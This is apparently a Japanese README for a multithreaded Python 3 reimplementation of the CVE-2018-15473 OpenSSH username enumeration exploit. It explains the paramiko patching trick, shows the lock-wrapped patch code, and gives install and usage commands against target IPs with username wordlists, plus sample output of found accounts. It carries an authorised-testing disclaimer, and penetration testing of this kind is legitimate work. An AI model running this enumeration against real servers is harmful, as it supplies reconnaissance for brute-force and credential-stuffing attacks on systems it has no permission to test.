
古典的なCVE-2018-15473 OpenSSHユーザー列挙エクスプロイトをPython 3で再実装したもので、マルチスレッド、ワードリスト対応、自動脆弱性検出、スレッドセーフなエクスプロイトパッチを追加しています。
CVE-2018-15473 は、OpenSSHバージョン 2.3〜7.7 に影響を与えるユーザー列挙の脆弱性です。
この脆弱性は、OpenSSHサーバーが有効なユーザー名と無効なユーザー名に対する認証試行に応答する方法の微妙な違いに起因します。不正な公開鍵認証パケットを細工することで、攻撃者はサーバーの動作を観察し、ユーザーのパスワードを知らなくても、特定のユーザー名がシステム上に存在するかどうかを判断できます。
この情報は、標的型ブルートフォース攻撃やクレデンシャルスタッフィング攻撃において、重要な最初のステップとなり得ます。
| 詳細 | 値 |
|---|---|
| CVE ID | CVE-2018-15473 |
| 影響を受けるバージョン | OpenSSH 2.3 – 7.7 |
| CVSSスコア | 5.3(中) |
| 種類 | 情報漏えい / ユーザー列挙 |
| 認証要件 | なし |
OpenSSHの認証フローは通常、次のように動作します:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
このエクスプロイトは MSG_SERVICE_ACCEPT 段階を悪用します。サーバーが MSG_SERVICE_ACCEPT を返信すると、クライアントは後続の MSG_USERAUTH_REQUEST パケットにブール値フィールドを追加することになっています。paramikoの Message.add_boolean メソッドをno-opにパッチすることで、このツールは不正な(または切り詰められた)認証パケットを送信します。
OpenSSHサーバーは、ユーザー名が存在するかどうかに応じて異なる動作をします:
MSG_USERAUTH_FAILURE で拒否します(ユーザー名が存在しないため、鍵を確認する意味がない)AuthenticationException を発生させます(鍵の検証を試みるため、ユーザーが存在することが確認される)このツールは、パッチされたparamikoハンドラー(_parse_userauth_failure と _parse_service_accept)を介してこれら2つの応答を傍受し、各ユーザー名をそれに応じて分類します。
元のPoCは add_boolean を恒久的にパッチするため、複数のスレッドが同時に実行されるとレースコンディションが発生します。スレッドが互いのハンドシェイクに干渉し、誤った SSH negotiation failed エラーが発生します。この再実装では、パッチを threading.Lock() でラップし、交換をアトミックにしています:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap を使用して、対象が脆弱なOpenSSHバージョンを実行しているか検証paramikopython-nmapnmap(システムバイナリ、インストール必須)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
システムに nmap がインストールされていることを確認してください:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
単一ユーザー名をチェックする:
python main.py 192.168.1.10 -u root
デフォルトのスレッド数でワードリストを列挙する:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
カスタムのスレッド数とポートで列挙する:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
出力例:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
このツールは、元の概念実証(PoC)エクスプロイトのPython 3による再実装および拡張です。この脆弱性の発見と文書化に対するすべての功績は、元の研究者に帰属します:
| 役割 | 名前 / ハンドル |
|---|
元のエクスプロイト:https://leapsecurity.io
この再実装では以下を追加しています:
このツールは教育目的および許可を得たペネトレーションテスト専用です。
自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのツールを使用することは違法であり非倫理的です。
著者は本ソフトウェアの誤用について一切の責任を負いません。
常に責任ある情報開示を実践してください。
| 元のPoC著者 | Leap Security (@LeapSecurity) |
| 脆弱性研究 | Matthew Daley |
| 脆弱性研究 | Justin Gardner |
| 脆弱性研究 | Lee David Painter |